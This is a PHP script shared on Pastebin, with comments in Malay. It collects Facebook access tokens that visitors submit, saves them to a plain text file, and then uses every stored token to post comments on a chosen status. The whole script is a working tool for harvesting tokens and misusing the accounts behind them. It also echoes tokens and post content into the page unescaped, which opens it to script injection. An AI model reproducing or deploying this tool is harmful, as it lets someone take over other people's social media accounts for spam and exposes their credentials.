Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- //ganti dgn nama file yg ko nak utk simpan token
- $tokenko = "token.txt";
- $token = $_GET["token"];
- //check token ada
- if($token === null)
- {
- die("please submit access token");
- }
- //cek token invalid
- $c = curl_init("https://graph.facebook.com/me?access_token=".$token);
- curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
- $k = curl_exec($c);
- curl_close($c);
- $check = strripos($k, "OAuthException");
- if($check === false)
- {
- $cre = fopen($tokenko, "a+");
- $f = file_get_contents($tokenko);
- $cf = strripos($f, $token);
- if($cf === false)
- {
- fwrite($cre, $token."\n");
- echo "ok";
- $ch = curl_init("https://graph.facebook.com/me/feed?fields=id,message&access_token=".$token);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- $staid = curl_exec($ch);
- curl_close($ch);
- $taz = json_decode($staid)->data;
- //output
- if($statusid != null)
- {
- echo "<font style='font-size:40px; color:white;'>Done!</font>";
- }
- //html autolike
- echo '<body style="background-color:black; width:100%;">
- <center>
- <div style="border:3px grey outset; background-color:grey; width:60%;">
- <form action="" method="post">
- <font color="red">STATUS:</font><font color="white">'.$taz[0]->message.'</font><br />
- <input type="hidden" name="token" value="'.$token.'">
- <font color="white">statusid:</font><br />
- <input name="statusid" value="'.$taz[0]->id.'"><br />
- <font color="white">comment:</font><br />
- <textarea name="komen"></textarea><br />
- <input type="submit" style="order:3px red outset; color:white; background-color:red;" value="Autocomment">
- </form><br /></div><br />';
- //start otolke
- $statusid = $_POST["statusid"];
- $komen = $_POST["komen"];
- if($statusid != null)
- {
- $geto = preg_split('/(\r?\n)+/', $f);
- foreach($geto as $phc)
- {
- $paha = curl_init("https://graph.facebook.com/".$statusid."/comments?method=post&message=".$komen."&access_token=".$phc);
- curl_setopt($paha, CURLOPT_RETURNTRANSFER, true);
- curl_exec($paha);
- curl_close($paha);
- }
- }
- }
- else
- {
- $ch = curl_init("https://graph.facebook.com/me/feed?fields=id,message&access_token=".$token);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- $staid = curl_exec($ch);
- curl_close($ch);
- $taz = json_decode($staid)->data;
- //output
- if($statusid != null)
- {
- echo "<font style='font-size:40px; color:white;'>Done!</font>";
- }
- //html autolike
- echo '<body style="background-color:black; width:100%;">
- <center>
- <div style="border:3px grey outset; background-color:grey; width:60%;">
- <form action="" method="post">
- <font color="red">STATUS:</font><font color="white">'.$taz[0]->message.'</font><br />
- <input type="hidden" name="token" value="'.$token.'">
- <font color="white">statusid:</font><br />
- <input name="statusid" value="'.$taz[0]->id.'"><br />
- <font color="white">comment:</font><br />
- <textarea name="komen"></textarea><br />
- <input type="submit" style="order:3px red outset; color:white; background-color:red;" value="Autocomment">
- </form><br /></div><br />';
- //start otolke
- $statusid = $_POST["statusid"];
- $komen = $_POST["komen"];
- if($statusid != null)
- {
- $geto = preg_split('/(\r?\n)+/', $f);
- foreach($geto as $phc)
- {
- $paha = curl_init("https://graph.facebook.com/".$statusid."/comments?method=post&message=".$komen."&access_token=".$phc);
- curl_setopt($paha, CURLOPT_RETURNTRANSFER, true);
- curl_exec($paha);
- curl_close($paha);
- }
- }
- }
- fclose($cre);
- }
- else
- {
- die("access token invalid");
- }
- ?>
Add Comment
Please, Sign In to add comment